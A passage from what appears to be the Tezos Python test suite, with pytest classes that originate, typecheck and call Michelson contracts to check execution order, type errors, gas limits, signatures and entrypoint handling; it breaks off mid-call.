maps maps over this tree to build a # tree of contracts. Leaf nodes map to Appender contracts calling # the Storer. Inner nodes map to Caller contract that calling # children. # # Example. Given the tree: ["A", ["B"], "C"], we obtain # Caller([Appender("A"), Caller([Appender("B")]), Appender("C")]) # Before the protocol 009, contract execution order was in BFS # In BFS, Storer would've ended up with storage ACB. # In DFS, Storer will end up with storage ABC. @pytest.mark.contract @pytest.mark.incremental class TestExecutionOrdering: STORER = f'{CONTRACT_PATH}/mini_scenarios/execution_order_storer.tz' CALLER = f'{CONTRACT_PATH}/mini_scenarios/execution_order_caller.tz' APPENDER = f'{CONTRACT_PATH}/mini_scenarios/execution_order_appender.tz' def originate_storer(self, client: Client, session: dict): origination = originate( client, session, self.STORER, '""', 0, arguments=['--force'] ) session['storer'] = origination.contract utils.bake(client, 'bootstrap3') return origination.contract def originate_appender( self, client: Client, session: dict, storer: str, argument: str ): origination = originate( client, session, self.APPENDER, f'Pair "{storer}" "{argument}"', 0, contract_name=f'appender-{argument}', arguments=['--force'], ) session[f'appender.{argument}'] = origination.contract utils.bake(client, 'bootstrap3') return origination.contract def originate_caller( self, client: Client, session: dict, callees: List[str] ): storage = "{" + '; '.join(map('"{}"'.format, callees)) + "}" origination = originate( client, session, self.CALLER, storage, 0, contract_name=f'caller-{hash(storage)}', ) utils.bake(client, 'bootstrap3') return origination.contract @pytest.mark.parametrize( "tree, expected", [ # before 009, the result should be "DABCEFG". ([["A", "B", "C"], "D", ["E", "F", "G"]], "ABCDEFG"), # before 009, the result should be "ACB". ([["A", ["B"], "C"]], "ABC"), # before 009, the result should be "ABDC". ([["A", ["B", ["C"], "D"]]], "ABCD"), ([], ""), ], ) def test_ordering( self, client: Client, session: dict, # approximation of recursive type annotation tree: Union[str, List[Any]], expected: str, ): storer = self.originate_storer(client, session) def deploy_tree(tree: Union[str, List[Any]]) -> str: # leaf if isinstance(tree, str): # deploy and return caller str return self.originate_appender(client, session, storer, tree) # inner node children = list(map(deploy_tree, tree)) return self.originate_caller(client, session, children) root = deploy_tree(tree) client.transfer( 0, 'bootstrap2', root, ["--burn-cap", "5"], ) utils.bake(client, 'bootstrap3') assert client.get_storage(storer) == '"{}"'.format(expected) @pytest.mark.slow @pytest.mark.contract class TestContracts: """Test type checking and execution of a bunch of contracts""" @pytest.mark.parametrize("contract", all_contracts()) def test_typecheck(self, client: Client, contract): assert contract.endswith( '.tz' ), "test contract should have .tz extension" client.typecheck(os.path.join(CONTRACT_PATH, contract)) @pytest.mark.parametrize("contract", all_legacy_contracts()) def test_deprecated_typecheck_breaks(self, client, contract): if contract in [ "legacy/create_contract.tz", "legacy/create_contract_flags.tz", "legacy/create_contract_rootname.tz", ]: with utils.assert_run_failure(r'ill-typed script'): client.typecheck(os.path.join(CONTRACT_PATH, contract)) else: with utils.assert_run_failure(r'Use of deprecated instruction'): client.typecheck(os.path.join(CONTRACT_PATH, contract)) @pytest.mark.parametrize("contract", all_legacy_contracts()) def test_deprecated_typecheck_in_legacy(self, client, contract): if contract in [ "legacy/create_contract.tz", "legacy/create_contract_flags.tz", "legacy/create_contract_rootname.tz", ]: with utils.assert_run_failure(r'ill-typed script'): client.typecheck( os.path.join(CONTRACT_PATH, contract), legacy=True ) else: with utils.assert_run_failure(r'Use of deprecated instruction'): client.typecheck( os.path.join(CONTRACT_PATH, contract), legacy=True ) @pytest.mark.parametrize( "contract,error_pattern", [ # operations cannot be PACKed ( "pack_operation.tz", r'operation type forbidden in parameter, storage and constants', ), # big_maps cannot be PACKed ( "pack_big_map.tz", r'big_map or sapling_state type not expected here', ), ( "invalid_self_entrypoint.tz", r'Contract has no entrypoint named D', ), ("contract_annotation_default.tz", r'unexpected annotation'), # Missing field ( "missing_only_storage_field.tz", r'Missing contract field: storage', ), ("missing_only_code_field.tz", r'Missing contract field: code'), ( "missing_only_parameter_field.tz", r'Missing contract field: parameter', ), ( "missing_parameter_and_storage_fields.tz", r'Missing contract field: parameter', ), # Duplicated field ( "multiple_parameter_field.tz", r'duplicate contract field: parameter', ), ("multiple_code_field.tz", r'duplicate contract field: code'), ("multiple_storage_field.tz", r'duplicate contract field: storage'), # The first duplicated field is reported, storage in this case ( "multiple_storage_and_code_fields.tz", r'duplicate contract field: storage', ), # error message for set update on non-comparable type ( "set_update_non_comparable.tz", r'Type nat is not compatible with type list operation', ), # error message for the arity of the chain_id type ( "chain_id_arity.tz", r'primitive chain_id expects 0 arguments but is given 1', ), # error message for DIP over the limit ("big_dip.tz", r'expected a positive 10-bit integer'), # error message for DROP over the limit ("big_drop.tz", r'expected a positive 10-bit integer'), # error message for set update on non-comparable type ( "set_update_non_comparable.tz", r'Type nat is not compatible with type list operation', ), # error message for attempting to push a value of type never ("never_literal.tz", r'type never has no inhabitant.'), # field annotation mismatch with UNPAIR ( "unpair_field_annotation_mismatch.tz", r'The field access annotation does not match', ), # COMB, UNCOMB, and DUP cannot take 0 as argument ("comb0.tz", r"PAIR expects an argument of at least 2"), ("comb1.tz", r"PAIR expects an argument of at least 2"), ("uncomb0.tz", r"UNPAIR expects an argument of at least 2"), ("uncomb1.tz", r"UNPAIR expects an argument of at least 2"), ("dup0.tz", r"DUP n expects an argument of at least 1"), ( "push_big_map_with_id_with_parens.tz", r"big_map or sapling_state type not expected here", ), ( "push_big_map_with_id_without_parens.tz", r"primitive PUSH expects 2 arguments but is given 4", ), # sapling_state is not packable ( "pack_sapling_state.tz", r"big_map or sapling_state type not expected here", ), # sapling_state is not packable ( "unpack_sapling_state.tz", r"big_map or sapling_state type not expected here", ), # Ticket duplication attempt ("ticket_dup.tz", r'DUP used on the non-dupable type ticket nat'), # error message for ticket unpack ("ticket_unpack.tz", r'Ticket in unauthorized position'), # error message for attempting to use APPLY to capture a ticket ("ticket_apply.tz", r'Ticket in unauthorized position'), # error message for attempting to wrap a ticket in a ticket ( "ticket_in_ticket.tz", r'comparable type expected.Type ticket unit is not comparable', ), ], ) def test_ill_typecheck(self, client: Client, contract, error_pattern): with utils.assert_run_failure(error_pattern): client.typecheck(os.path.join(ILLTYPED_CONTRACT_PATH, contract)) def test_zero_transfer_to_implicit_contract(self, client): pubkey = IDENTITIES['bootstrap3']['identity'] err = ( 'Transaction of 0ꜩ towards a contract without code are ' rf'forbidden ${pubkey}$.' ) with utils.assert_run_failure(err): client.transfer(0, 'bootstrap2', 'bootstrap3', []) def test_zero_transfer_to_nonexistent_contract(self, client): nonexistent = "KT1Fcq4inD44aMhmUiTEHR1QMQwJT7p2u641" err = rf'Contract {nonexistent} does not exist' with utils.assert_run_failure(err): client.transfer(0, 'bootstrap2', nonexistent, []) FIRST_EXPLOSION = ''' { parameter unit; storage unit; code{ DROP; PUSH nat 0 ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DROP ; UNIT ; NIL operation ; PAIR} } ''' # FIRST_EXPLOSION costs a large amount of gas just for typechecking. # FIRST_EXPLOSION_BIGTYPE type size exceeds the protocol set bound. FIRST_EXPLOSION_BIGTYPE = ''' { parameter unit; storage unit; code{ DROP; PUSH nat 0 ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DUP ; PAIR ; DROP ; UNIT ; NIL operation ; PAIR} } ''' SECOND_EXPLOSION = ''' { parameter (list int) ; storage (list (list (list int))) ; code { CAR ; DIP { NIL (list int) } ; DUP ; ITER { DROP ; DUP ; DIP { CONS } } ; DROP ; DIP { NIL (list (list int)) } ; DUP ; ITER { DROP ; DUP ; DIP { CONS } } ; DROP ; NIL operation ; PAIR } } ''' @pytest.mark.contract class TestGasBound: def test_write_contract(self, tmpdir, session: dict): items = { 'first_explosion.tz': FIRST_EXPLOSION, 'first_explosion_bigtype.tz': FIRST_EXPLOSION_BIGTYPE, 'second_explosion.tz': SECOND_EXPLOSION, }.items() for name, script in items: contract = f'{tmpdir}/{name}' with open(contract, 'w') as contract_file: contract_file.write(script) session[name] = contract def test_originate_first_explosion(self, client: Client, session: dict): name = 'first_explosion.tz' contract = session[name] client.typecheck(contract) args = ['-G', f'{1870}', '--burn-cap', '10'] expected_error = "Gas limit exceeded during typechecking or execution" with utils.assert_run_failure(expected_error): client.originate(f'{name}', 0, 'bootstrap1', contract, args) def test_originate_big_type(self, client: Client, session: dict): name = 'first_explosion_bigtype.tz' contract = session[name] # We could not be bothered with finding how to escape parentheses # so we put dots expected_error = "type size .1023. exceeded maximum type size .1000." with utils.assert_run_failure(expected_error): client.typecheck(contract) def test_originate_second_explosion(self, client: Client, session: dict): name = 'second_explosion.tz' contract = session[name] storage = '{}' inp = '{1;2;3;4;5;6;7;8;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1}' client.run_script(contract, storage, inp) def test_originate_second_explosion_fail( self, client: Client, session: dict ): name = 'second_explosion.tz' contract = session[name] storage = '{}' inp = ( '{1;2;3;4;5;6;7;8;9;0;1;2;3;4;5;6;7;1;1;1;1;1;1;1;1;1;1;1' + ';1;1;1;1;1;1;1;1;1;1;1;1;1;1}' ) expected_error = ( "Cannot serialize the resulting storage" + " value within the provided gas bounds." ) with utils.assert_run_failure(expected_error): client.run_script(contract, storage, inp, gas=9290) def test_typecheck_map_dup_key(self, client: Client): expected_error = ( 'Map literals cannot contain duplicate' + ' keys, however a duplicate key was found' ) with utils.assert_run_failure(expected_error): client.typecheck_data('{ Elt 0 1 ; Elt 0 1}', '(map nat nat)') def test_typecheck_map_bad_ordering(self, client: Client): expected_error = ( "Keys in a map literal must be in strictly" + " ascending order, but they were unordered in literal" ) with utils.assert_run_failure(expected_error): client.typecheck_data( '{ Elt 0 1 ; Elt 10 1 ; Elt 5 1 }', '(map nat nat)' ) def test_typecheck_set_bad_ordering(self, client: Client): expected_error = ( "Values in a set literal must be in strictly" + " ascending order, but they were unordered in literal" ) with utils.assert_run_failure(expected_error): client.typecheck_data('{ "A" ; "C" ; "B" }', '(set string)') def test_typecheck_set_no_duplicates(self, client: Client): expected_error = ( "Set literals cannot contain duplicate values," + " however a duplicate value was found" ) with utils.assert_run_failure(expected_error): client.typecheck_data('{ "A" ; "B" ; "B" }', '(set string)') @pytest.mark.contract class TestChainId: def test_chain_id_opcode(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'opcodes', 'chain_id.tz') originate(client, session, path, 'Unit', 0) client.call('bootstrap2', "chain_id", []) utils.bake(client, 'bootstrap5') def test_chain_id_authentication_origination(self, client: Client, session): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'authentication.tz' ) pubkey = IDENTITIES['bootstrap1']['public'] originate(client, session, path, f'Pair 0 "{pubkey}"', 1000) utils.bake(client, 'bootstrap5') def test_chain_id_authentication_first_run( self, client: Client, session: dict ): destination = IDENTITIES['bootstrap2']['identity'] operation = ( '{DROP; NIL operation; ' + f'PUSH address "{destination}"; ' + 'CONTRACT unit; ASSERT_SOME; PUSH mutez 1000; UNIT; ' + 'TRANSFER_TOKENS; CONS}' ) chain_id = client.rpc('get', 'chains/main/chain_id') contract_address = session['contract'] packed = client.pack( f'Pair (Pair "{chain_id}" "{contract_address}") ' + f'(Pair {operation} 0)', 'pair (pair chain_id address)' + '(pair (lambda unit (list operation)) nat)', ) signature = client.sign_bytes_of_string(packed, "bootstrap1") client.call( 'bootstrap2', 'authentication', ['--arg', f'Pair {operation} \"{signature}\"'], ) utils.bake(client, 'bootstrap5') @pytest.mark.contract class TestBigMapToSelf: def test_big_map_to_self_origination(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'opcodes', 'big_map_to_self.tz') originate(client, session, path, '{}', 0) utils.bake(client, 'bootstrap5') def test_big_map_to_self_transfer(self, client: Client): client.call('bootstrap2', "big_map_to_self", []) utils.bake(client, 'bootstrap5') client.transfer(0, 'bootstrap2', "big_map_to_self", []) utils.bake(client, 'bootstrap5') @pytest.mark.contract class TestNonRegression: """Test contract-related non-regressions""" def test_issue_242_originate(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'non_regression', 'bug_262.tz') originate(client, session, path, 'Unit', 1) def test_issue_242_assert_balance(self, client: Client): assert client.get_balance('bug_262') == 1 @pytest.mark.contract class TestMiniScenarios: """Test mini scenarios""" # replay.tz related tests def test_replay_originate(self, client: Client, session: dict): path = os.path.join(CONTRACT_PATH, 'mini_scenarios', 'replay.tz') originate(client, session, path, 'Unit', 0) def test_replay_transfer_fail(self, client: Client): with utils.assert_run_failure("Internal operation replay attempt"): client.transfer(10, "bootstrap1", "replay", []) # create_contract.tz related tests def test_create_contract_originate(self, client: Client, session: dict): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'create_contract.tz' ) originate(client, session, path, 'Unit', 1000) def test_create_contract_balance(self, client: Client): assert client.get_balance('create_contract') == 1000 def test_create_contract_perform_creation(self, client: Client): transfer_result = client.transfer( 0, "bootstrap1", "create_contract", ['-arg', 'None', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') pattern = r"New contract (\w*) originated" match = re.search(pattern, transfer_result.client_output) assert match is not None kt_1 = match.groups()[0] assert client.get_storage(kt_1) == '"abcdefg"' assert client.get_balance(kt_1) == 100 assert client.get_balance('create_contract') == 900 # Originates a contract that when called, creates a contract with a # rootname annotation. Such annotations comes in two flavors, thus the # parameterization. Then calls the first contract and verifies the # existence and type of the root entrypoint of the create contract. @pytest.mark.parametrize( "contract", [ 'create_contract_rootname.tz', 'create_contract_rootname_alt.tz', ], ) def test_create_contract_rootname_originate( self, client: Client, session: dict, contract ): path = os.path.join(CONTRACT_PATH, 'opcodes', contract) origination_res = originate(client, session, path, 'None', 1000) transfer_result = client.transfer( 0, "bootstrap1", origination_res.contract, ['-arg', 'Unit', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') pattern = r"New contract (\w*) originated" match = re.search(pattern, transfer_result.client_output) assert match is not None kt_1 = match.groups()[0] entrypoint_type = client.get_contract_entrypoint_type( 'root', kt_1 ).entrypoint_type assert entrypoint_type == 'unit', ( 'the entrypoint my_root of the originated contract should exist' 'with type unit' ) # default_account.tz related tests def test_default_account_originate(self, client: Client, session: dict): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'default_account.tz' ) originate(client, session, path, 'Unit', 1000) def test_default_account_transfer_then_bake(self, client: Client): tz1 = IDENTITIES['bootstrap4']['identity'] client.transfer( 0, "bootstrap1", "default_account", ['-arg', f'"{tz1}"', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') account = 'tz1SuakBpFdG9b4twyfrSMqZzruxhpMeSrE5' client.transfer( 0, "bootstrap1", "default_account", ['-arg', f'"{account}"', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') assert client.get_balance(account) == 100 # Test bytes, SHA252, CHECK_SIGNATURE def test_reveal_signed_preimage_originate( self, client: Client, session: dict ): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'reveal_signed_preimage.tz' ) byt = ( '0x9995c2ef7bcc7ae3bd15bdd9b02' + 'dc6e877c27b26732340d641a4cbc6524813bb' ) sign = 'p2pk66uq221795tFxT7jfNmXtBMdjMf6RAaxRTwv1dbuSHbH6yfqGwz' storage = f'(Pair {byt} "{sign}")' originate(client, session, path, storage, 1000) def test_wrong_preimage(self, client: Client): byt = ( '0x050100000027566f756c657a2d766f75732' + '0636f75636865722061766563206d6f692c20636520736f6972' ) sign = ( 'p2sigvgDSBnN1bUsfwyMvqpJA1cFhE5s5oi7SetJ' + 'VQ6LJsbFrU2idPvnvwJhf5v9DhM9ZTX1euS9DgWozVw6BTHiK9VcQVpAU8' ) arg = f'(Pair {byt} "{sign}")' # We check failure of ASSERT_CMPEQ in the script. with utils.assert_run_failure("At line 8 characters 9 to 21"): client.transfer( 0, "bootstrap1", "reveal_signed_preimage", ['-arg', arg, '--burn-cap', '10'], ) def test_wrong_signature(self, client: Client): byt = ( '0x050100000027566f756c657a2d766f757320636' + 'f75636865722061766563206d6f692c20636520736f6972203f' ) sign = ( 'p2sigvgDSBnN1bUsfwyMvqpJA1cFhE5s5oi7SetJVQ6' + 'LJsbFrU2idPvnvwJhf5v9DhM9ZTX1euS9DgWozVw6BTHiK9VcQVpAU8' ) arg = f'(Pair {byt} "{sign}")' # We check failure of CHECK_SIGNATURE ; ASSERT in the script. with utils.assert_run_failure("At line 15 characters 9 to 15"): client.transfer( 0, "bootstrap1", "reveal_signed_preimage", ['-arg', arg, '--burn-cap', '10'], ) def test_good_preimage_and_signature(self, client: Client): byt = ( '0x050100000027566f756c657a2d766f757320636f7563' + '6865722061766563206d6f692c20636520736f6972203f' ) sign = ( 'p2sigsceCzcDw2AeYDzUonj4JT341WC9Px4wdhHBxbZcG1F' + 'hfqFVuG7f2fGCzrEHSAZgrsrQWpxduDPk9qZRgrpzwJnSHC3gZJ' ) arg = f'(Pair {byt} "{sign}")' client.transfer( 0, "bootstrap1", "reveal_signed_preimage", ['-arg', arg, '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') # Test vote_for_delegate def test_vote_for_delegate_originate(self, client: Client, session: dict): b_3 = IDENTITIES['bootstrap3']['identity'] b_4 = IDENTITIES['bootstrap4']['identity'] path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'vote_for_delegate.tz' ) storage = f'''(Pair (Pair "{b_3}" None) (Pair "{b_4}" None))''' originate(client, session, path, storage, 1000) assert client.get_delegate('vote_for_delegate').delegate is None def test_vote_for_delegate_wrong_identity1(self, client: Client): # We check failure of CHECK_SIGNATURE ; ASSERT in the script. with utils.assert_run_failure("At line 15 characters 57 to 61"): client.transfer( 0, "bootstrap1", "vote_for_delegate", ['-arg', 'None', '--burn-cap', '10'], ) def test_vote_for_delegate_wrong_identity2(self, client: Client): # We check failure of CHECK_SIGNATURE ; ASSERT in the script. with utils.assert_run_failure("At line 15 characters 57 to 61"): client.transfer( 0, "bootstrap2", "vote_for_delegate", ['-arg', 'None', '--burn-cap', '10'], ) def test_vote_for_delegate_b3_vote_for_b5(self, client: Client): b_5 = IDENTITIES['bootstrap5']['identity'] client.transfer( 0, "bootstrap3", "vote_for_delegate", ['-arg', f'(Some "{b_5}")', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') storage = client.get_storage('vote_for_delegate') assert re.search(b_5, storage) def test_vote_for_delegate_still_no_delegate1(self, client: Client): assert client.get_delegate('vote_for_delegate').delegate is None def test_vote_for_delegate_b4_vote_for_b2(self, client: Client): b_2 = IDENTITIES['bootstrap2']['identity'] client.transfer( 0, "bootstrap4", "vote_for_delegate", ['-arg', f'(Some "{b_2}")', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') storage = client.get_storage('vote_for_delegate') assert re.search(b_2, storage) def test_vote_for_delegate_still_no_delegate2(self, client: Client): assert client.get_delegate('vote_for_delegate').delegate is None def test_vote_for_delegate_b4_vote_for_b5(self, client: Client): b_5 = IDENTITIES['bootstrap5']['identity'] client.transfer( 0, "bootstrap4", "vote_for_delegate", ['-arg', f'(Some "{b_5}")', '--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') storage = client.get_storage('vote_for_delegate') assert re.search(b_5, storage) def test_vote_for_delegate_has_delegate(self, client: Client): b_5 = IDENTITIES['bootstrap5']['identity'] result = client.get_delegate('vote_for_delegate') assert result.delegate == b_5 def test_multiple_entrypoints_counter(self, session: dict, client: Client): path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'multiple_entrypoints_counter.tz' ) storage = 'None' # originate contract originate(client, session, path, storage, 0) utils.bake(client, 'bootstrap5') # call contract: creates the internal contract and calls it. client.transfer( 0, 'bootstrap1', 'multiple_entrypoints_counter', ['--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') assert client.get_storage('multiple_entrypoints_counter') == 'None', ( "The storage of the multiple_entrypoints_counter contract" " should be None" ) # Test CONTRACT with/without entrypoint annotation on literal address # parameters with/without entrypoint annotation def test_originate_simple_entrypoints(self, session: dict, client: Client): """originates the contract simple_entrypoints.tz with entrypoint %A of type unit used in test_simple_entrypoints""" contract_target = os.path.join( CONTRACT_PATH, 'entrypoints', 'simple_entrypoints.tz' ) originate(client, session, contract_target, 'Unit', 0) utils.bake(client, 'bootstrap5') @pytest.mark.parametrize( 'contract_annotation, contract_type, param, expected_storage', [ # tests passing adr to CONTRACT %A unit # where adr has an entrypoint %A of type unit, is allowed. ('%A', 'unit', '"{adr}"', '(Some "{adr}%A")'), ('%B', 'string', '"{adr}"', '(Some "{adr}%B")'), ('%C', 'nat', '"{adr}"', '(Some "{adr}%C")'), # tests passing adr%A to CONTRACT %A unit: redundant specification # of entrypoint not allowed so CONTRACT returns None ('%A', 'unit', '"{adr}%A"', 'None'), ('%A', 'unit', '"{adr}%B"', 'None'), ('%A', 'unit', '"{adr}%D"', 'None'), ('%A', 'unit', '"{adr}%A"', 'None'), ('%B', 'unit', '"{adr}%A"', 'None'), ('%D', 'unit', '"{adr}%A"', 'None'), # tests passing adr%A to CONTRACT unit: # where adr has an entrypoint %A of type unit, is allowed. ('', 'unit', '"{adr}%A"', '(Some "{adr}%A")'), ('', 'string', '"{adr}%B"', '(Some "{adr}%B")'), ('', 'nat', '"{adr}%C"', '(Some "{adr}%C")'), # tests passing adr%B to CONTRACT unit: # as entrypoint %B of simple_entrypoints.tz has type string, # CONTRACT will return None. ('', 'unit', '"{adr}%B"', 'None'), # tests passing adr%D to CONTRACT unit: # as entrypoint %D does not exist in simple_entrypoints.tz, # CONTRACT will return None. ('', 'unit', '"{adr}%D"', 'None'), # tests passing adr to CONTRACT unit: # as adr does not have type unit, CONTRACT returns None. ('', 'unit', '"{adr}"', 'None'), # entrypoint that does not exist ('%D', 'unit', '"{adr}"', 'None'), # ill-typed entrypoints ('%A', 'int', '"{adr}"', 'None'), ('%B', 'unit', '"{adr}"', 'None'), ('%C', 'int', '"{adr}"', 'None'), ], ) def test_simple_entrypoints( self, session, client, contract_annotation, contract_type, param, expected_storage, ): contract = f'''parameter address; storage (option address); code {{ CAR; CONTRACT {contract_annotation} {contract_type}; IF_SOME {{ ADDRESS; SOME }} {{ NONE address; }}; NIL operation; PAIR }};''' param = param.format(adr=session['contract']) expected_storage = expected_storage.format(adr=session['contract']) run_script_res = client.run_script(contract, 'None', param, file=False) assert run_script_res.storage == expected_storage @pytest.mark.contract class TestComparables: def test_comparable_unit(self, client): client.typecheck_data('{}', '(set unit)') client.typecheck_data('{Unit}', '(set unit)') def test_comparable_options(self, client): client.typecheck_data('{}', '(set (option nat))') client.typecheck_data('{None; Some 1; Some 2}', '(set (option int))') utils.assert_typecheck_data_failure( client, '{Some "foo"; Some "bar"}', '(set (option string))' ) utils.assert_typecheck_data_failure( client, '{Some Unit; None}', '(set (option unit))' ) def test_comparable_unions(self, client): client.typecheck_data('{}', '(set (or unit bool))') client.typecheck_data( '{Left 3; Left 4; Right "bar"; Right "foo"}', '(set (or nat string))', ) utils.assert_typecheck_data_failure( client, '{Left 2; Left 1}', '(set (or mutez unit))' ) utils.assert_typecheck_data_failure( client, '{Right True; Right False}', '(set (or unit bool))' ) utils.assert_typecheck_data_failure( client, '{Right 0; Left 1}', '(set (or nat nat))' ) def test_comparable_pair(self, client: Client): # tests that comb pairs are comparable and that the order is the # expected one client.typecheck_data('{}', '(set (pair nat string))') client.typecheck_data('{Pair 0 "foo"}', '(set (pair nat string))') client.typecheck_data( '{Pair 0 "foo"; Pair 1 "bar"}', '(set (pair nat string))' ) client.typecheck_data( '{Pair 0 "bar"; Pair 0 "foo"; \ Pair 1 "bar"; Pair 1 "foo"}', '(set (pair nat string))', ) client.typecheck_data('{}', '(set (pair nat (pair string bytes)))') client.typecheck_data('{}', '(map (pair nat string) unit)') client.typecheck_data( '{Elt (Pair 0 "foo") Unit}', '(map (pair nat string) unit)' ) client.typecheck_data( '{Elt (Pair 0 "foo") Unit; \ Elt (Pair 1 "bar") Unit}', '(map (pair nat string) unit)', ) client.typecheck_data( '{Elt (Pair 0 "bar") Unit; \ Elt (Pair 0 "foo") Unit; \ Elt (Pair 1 "bar") Unit; \ Elt (Pair 1 "foo") Unit}', '(map (pair nat string) unit)', ) client.typecheck_data('{}', '(map (pair nat (pair string bytes)) unit)') client.typecheck_data('{}', '(big_map (pair nat string) unit)') client.typecheck_data( '{Elt (Pair 0 "foo") Unit}', '(big_map (pair nat string) unit)' ) client.typecheck_data( '{Elt (Pair 0 "foo") Unit; \ Elt (Pair 1 "bar") Unit}', '(big_map (pair nat string) unit)', ) client.typecheck_data( '{Elt (Pair 0 "bar") Unit; \ Elt (Pair 0 "foo") Unit; \ Elt (Pair 1 "bar") Unit; \ Elt (Pair 1 "foo") Unit}', '(big_map (pair nat string) unit)', ) client.typecheck_data( '{}', '(big_map (pair nat (pair string bytes)) unit)' ) client.typecheck_data('{}', '(set (pair (pair nat nat) nat))') client.typecheck_data( '{}', '(set (pair (pair int nat) \ (pair bool bytes)))', ) def test_order_of_pairs(self, client: Client): # tests that badly-ordered set literals are rejected utils.assert_typecheck_data_failure( client, '{Pair 0 "foo"; Pair 0 "bar"}', '(set (pair nat string))' ) utils.assert_typecheck_data_failure( client, '{Pair 1 "bar"; Pair 0 "foo"}', '(set (pair nat string))' ) def test_comparable_chain_id(self, client): client.typecheck_data('{}', '(set chain_id)') chain1 = client.rpc('get', 'chains/main/chain_id') chain2 = 'NetXZVhNXbDTx5M' utils.assert_typecheck_data_failure( client, '{"' + f'{chain1}' + '"; "' + f'{chain2}' + '"}', '(set chain_id)', ) client.typecheck_data( '{"' + f'{chain2}' + '"; "' + f'{chain1}' + '"}', '(set chain_id)' ) def test_comparable_signature(self, client): client.typecheck_data('{}', '(set signature)') packed = client.pack('Unit', 'unit') sig1 = client.sign_bytes_of_string(packed, "bootstrap1") sig2 = client.sign_bytes_of_string(packed, "bootstrap2") utils.assert_typecheck_data_failure( client, '{"' + f'{sig1}' + '"; "' + f'{sig2}' + '"}', '(set signature)', ) client.typecheck_data( '{"' + f'{sig2}' + '"; "' + f'{sig1}' + '"}', '(set signature)' ) def test_comparable_key(self, client): pubkey1 = IDENTITIES['bootstrap1']['public'] pubkey2 = IDENTITIES['bootstrap2']['public'] client.typecheck_data('{}', '(set key)') utils.assert_typecheck_data_failure( client, '{"' + f'{pubkey1}' + '"; "' + f'{pubkey2}' + '"}', '(set key)', ) client.typecheck_data( '{"' + f'{pubkey2}' + '"; "' + f'{pubkey1}' + '"}', '(set key)' ) def test_comparable_key_different_schemes(self, client): client.gen_key('sk1', ['--sig', 'ed25519']) key1 = client.show_address('sk1').public_key client.gen_key('sk2', ['--sig', 'secp256k1']) key2 = client.show_address('sk2').public_key client.gen_key('sk3', ['--sig', 'p256']) key3 = client.show_address('sk3').public_key # Three public keys of the three different signature schemes, ordered client.typecheck_data( '{"' + key1 + '"; "' + key2 + '"; "' + key3 + '"}', '(set key)' ) # Test all orderings that do not respect the comparable order utils.assert_typecheck_data_failure( client, '{"' + key1 + '"; "' + key3 + '"; "' + key2 + '"}', '(set key)', ) utils.assert_typecheck_data_failure( client, '{"' + key2 + '"; "' + key1 + '"; "' + key3 + '"}', '(set key)', ) utils.assert_typecheck_data_failure( client, '{"' + key2 + '"; "' + key3 + '"; "' + key1 + '"}', '(set key)', ) utils.assert_typecheck_data_failure( client, '{"' + key3 + '"; "' + key1 + '"; "' + key2 + '"}', '(set key)', ) utils.assert_typecheck_data_failure( client, '{"' + key3 + '"; "' + key2 + '"; "' + key1 + '"}', '(set key)', ) @pytest.mark.contract class TestTypecheckingErrors: def test_big_map_arity_error(self, client: Client): error_pattern = ( 'primitive EMPTY_BIG_MAP expects 2 arguments but is given 1.' ) with utils.assert_run_failure(error_pattern): client.typecheck( os.path.join(CONTRACT_PATH, 'ill_typed', 'big_map_arity.tz') ) BAD_ANNOT_TEST = ''' parameter bytes; storage (option (lambda unit unit)); code { CAR; UNPACK (lambda unit unit); NIL operation; PAIR} ''' @pytest.mark.contract class TestBadAnnotation: def test_write_contract_bad_annot(self, tmpdir, session: dict): name = 'bad_annot.tz' contract = f'{tmpdir}/{name}' script = BAD_ANNOT_TEST with open(contract, 'w') as contract_file: contract_file.write(script) session[name] = contract def test_bad_annotation(self, client: Client, session: dict): name = 'bad_annot.tz' contract = session[name] # This was produced by running "tezos-client hash data '{ UNIT # ; PAIR ; CAR %faa }' of type 'lambda unit unit'" and # replacing the two last bytes (that correspond to the two # 'a's at the end of the annotation) by the 0xff byte which is # not a valid UTF8-encoding of a string parameter = '0x05020000000e034f03420416000000042566ffff' res = client.run_script(contract, 'None', parameter) assert res.storage == 'None' @pytest.mark.contract class TestOrderInTopLevelDoesNotMatter: @pytest.fixture def contract_splitted_in_top_level_elements(self): return [ "parameter nat", "storage unit", "code { CDR; NIL operation; PAIR }", ] def test_shuffle( self, client: Client, contract_splitted_in_top_level_elements ): """ Test that the storage, code, and parameter sections can appear in any order in a contract script. """ for shuffled_list in itertools.permutations( contract_splitted_in_top_level_elements ): contract = ";\n".join(shuffled_list) client.typecheck(contract, file=False) @pytest.mark.contract @pytest.mark.regression class TestSelfAddressTransfer: def test_self_address_originate_sender( self, client_regtest_scrubbed, session ): client = client_regtest_scrubbed path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'self_address_sender.tz' ) originate(client, session, path, 'Unit', 0) def test_self_address_originate_receiver( self, client_regtest_scrubbed, session ): client = client_regtest_scrubbed path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'self_address_receiver.tz' ) originate(client, session, path, 'Unit', 0) session['receiver_address'] = session['contract'] def test_send_self_address(self, client_regtest_scrubbed, session): client = client_regtest_scrubbed receiver_address = session['receiver_address'] client.transfer( 